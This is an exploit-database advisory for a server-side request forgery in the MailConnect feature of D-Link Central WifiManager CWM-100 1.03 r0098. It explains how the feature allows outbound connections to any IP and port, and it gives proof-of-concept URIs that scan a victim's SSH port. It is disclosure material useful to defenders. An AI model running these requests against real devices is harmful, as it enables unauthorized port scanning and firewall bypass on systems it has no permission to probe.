D-LINK Central WifiManager CWM-100 - Server-Side Request Forgery

vendor:

Central WifiManager CWM-100

by:

John Page (aka hyp3rlinx)

N/A

CVSS

N/A

Server-Side Request Forgery

Unknown

CWE

Product Name: Central WifiManager CWM-100

Affected Version From: Version 1.03 r0098

Affected Version To: Unknown

Patch Exists: NO

Related CWE:

CPE: a:d-link:central_wifimanager_cwm-100:1.03:r0098

Metasploit:

Other Scripts:

Platforms Tested:

2018

D-LINK Central WifiManager CWM-100 – Server-Side Request Forgery

Using a web browser or script SSRF can be initiated against internal/external systems to conduct port scans by leveraging D-LINKs MailConnect component. The MailConnect feature on D-Link Central WiFiManager CWM-100 1.03 r0098 devices is intended to check a connection to an SMTP server but actually allows outbound TCP to any port on any IP address, leading to SSRF, as demonstrated by an index.php/System/MailConnect/host/127.0.0.1/port/22/secure/ URI. This can undermine accountability of where scan or connections actually came from and or bypass the FW etc. This can be automated via script or using Web Browser.

Mitigation:

Unknown

Source

Exploit-DB raw data:

# Exploit Title: D-LINK Central WifiManager CWM-100 - Server-Side Request Forgery
# Author: John Page (aka hyp3rlinx)
# Date: 2018-11-09
# Vendor: http://us.dlink.com
# Product Link: http://us.dlink.com/products/business-solutions/central-wifimanager-software-controller/
# Version: Version 1.03 r0098
# CVE: N/A
# References:

# [Security Issue]
# Using a web browser or script SSRF can be initiated against internal/external systems 
# to conduct port scans by leveraging D-LINKs MailConnect component.

# The MailConnect feature on D-Link Central WiFiManager CWM-100 1.03 r0098 devices is intended 
# to check a connection to an SMTP server but actually allows outbound TCP to any port on any IP address, 
# leading to SSRF, as demonstrated by an index.php/System/MailConnect/host/127.0.0.1/port/22/secure/ URI.
# This can undermine accountability of where scan or connections actually came from and or bypass 
# the FW etc. This can be automated via script or using Web Browser.

# [Exploit/POC]
https://VICTIM-IP/index.php/System/MailConnect/host/port/secure/

reply: OK

#Scan internal port 22 SSH:

https://VICTIM-IP/index.php/System/MailConnect/host/VICTIM-IP/port/22/secure/
reply: OK